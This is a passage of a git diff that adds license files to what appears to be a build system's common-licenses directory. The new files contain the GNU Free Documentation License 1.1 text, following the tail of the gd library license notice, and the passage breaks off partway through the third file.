+ • Portions relating to GIF animations copyright 2004 Jaakko Hyvätti (jaakko.hyvatti@iki.fi)
+
+Permission has been granted to copy, distribute and modify gd in any context without fee, including a commercial application, provided that this notice is present in user-accessible supporting documentation.
+
+This does not affect your ownership of the derived work itself, and the intent is to assure proper credit for the authors of gd, not to interfere with your productive use of gd.  If you have questions, ask.  “Derived works” includes all programs that utilize the library.  Credit must be given in user-accessible documentation.
+
+This software is provided “AS IS.”  The copyright holders disclaim all warranties, either express or implied, including but not limited to implied warranties of merchantability and fitness for a particular purpose, with respect to this code and accompanying documentation.
+
+Although their code does not appear in the current release, the authors wish to thank David Koblas, David Rowley, and Hutchison Avenue Software Corporation for their prior contributions.
diff --git a/meta/files/common-licenses/GFDL-1.1-invariants-only b/meta/files/common-licenses/GFDL-1.1-invariants-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-invariants-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-invariants-or-later b/meta/files/common-licenses/GFDL-1.1-invariants-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-invariants-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-no-invariants-only b/meta/files/common-licenses/GFDL-1.1-no-invariants-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-no-invariants-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
